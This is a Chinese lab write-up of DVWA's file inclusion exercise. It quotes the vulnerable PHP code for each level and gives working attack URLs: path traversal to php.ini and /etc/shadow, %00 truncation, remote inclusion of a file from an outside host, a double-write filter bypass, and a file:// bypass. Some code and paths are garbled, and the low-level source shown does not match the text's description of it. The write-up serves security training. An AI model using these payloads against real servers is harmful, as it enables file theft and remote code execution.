zoukankan      html  css  js  c++  java
  • DVWA--File Inclusion

    0x01了解什么叫file inclusion

    File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include()require()include_once()require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

    0x02low级别的

    首先我们来观察一下源码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 

    这里从源码我们可以得知 服务器端未对page参数进行任何过滤和检查

    服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

    我们来点击一下链接看一下是什么

    正常的执行 ,然而我们的目的是让他不正常的执行从而获得我们想要的东西 page参数可以被我们定义

    接下里我们利用服务器端未对page参数进行过滤从而构造url 执行我们的命令

    因为不知道服务器端是什么类型的

    1先尝试一下

    http://127.0.0.1/dwva/vulnerabilities/fi/?page=etc/shadow

    没有文件证明不是liunx操作系统的 同时还暴露了文件的绝对路径

    这时候我们可以看一下php.ini里面的配置文件是否打开了远程文件包含的漏洞

    http://127.0.0.1/dwva/vulnerabilities/fi/?page=C:phpStudy1PHPTutorialWWWdwvaphp.ini

    构造url 相对路径

    http://127.0.0.1/dwva/vulnerabilities/fi/?page=..................phpStudy1PHPTutorialWWWdwvaphp.ini

    读取成功 加这么多..是为了保证到达服务器的C盘根目录,可以看到读取是成功的。

    同时我们看到,配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。

    Ahttp://127.0.0.1/dwva/vulnerabilities/fi/?page=..................phpStudy1PHPTutorialWWWdwvaphp.ini%0012da5163.php
    Bhttp://127.0.0.1/dwva/vulnerabilities/fi/?page=..................phpStudy1PHPTutorialWWWdwvaphp.ini

    可惜的是由于本次实验环境的php版本为5.4.45,所以无法进行验证。

    使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。

    说实话 小编挺难受的 2.00--4.00弄了两个小时才发现我的远程包含没配置好 我的天

    那我们就讲讲思路吧 远程服务器上面 放一个你要执行的文件 然后构造url让服务器去访问

    http://127.0.0.1/dwva/vulnerabilities/fi/?page=http://192.168.1.102/test.txt

    让本地服务器把这个当成一个文件去包含他 然后成功执行

    当然我们如果绝的那样太明显的话 我们可以进行编码

    http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74

    同样可以执行成功

    0X03Medium

    源代码 过滤了http://","https://../","..""然后把这些替换为空

    <php
    
    //Thepagewewishtodisplay
    $file=$_GET['page'];
    
    //Inputvalidation
    $file=str_replace(array("http://","https://"),"",$file);
    $file=str_replace(array("../","..""),"",$file);
    
    >

    我们可以双写绕过

    可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。

    漏洞利用

    使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

    例如page=hthttp://tp://127.0.0.1/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://127.0.0.1/phpinfo.txt,成功执行远程命令。

    同时,因为替换的只是../”、“..”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

    1.本地文件包含 不影响

    但是这里

        http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74
    
    经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是http://192.168.5.12/phpinfo.txt,因此读取失败。

    0x04High

    服务器端核心代码

    <php
    
    //Thepagewewishtodisplay
    $file=$_GET['page'];
    
    //Inputvalidation
    if(!fnmatch("file*",$file)&&$file!="include.php"){
       //Thisisn'tthepagewewant!
    echo"ERROR:Filenotfound!";
    exit;
    }
    
    >

    f(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不是"file*"(文件名file开头)时才抛出错误,反之意思即,如果文件名符合其中一个条件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)

    可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

    漏洞利用

    High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图。

    那我们利用这个特性进行绕过

     至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行

  • 相关阅读:
    echarts中3D地球模型
    面试题68
    Java正确创建对象数组
    8.Arrays类和比较器
    7.Base64类和UUID类
    6.大数字处理类
    3.JVM重要知识点
    2.JVM基础知识点
    1.JVM入门知识
    6.适配器模式
  • 原文地址:https://www.cnblogs.com/-zhong/p/10894672.html
Copyright © 2011-2022 走看看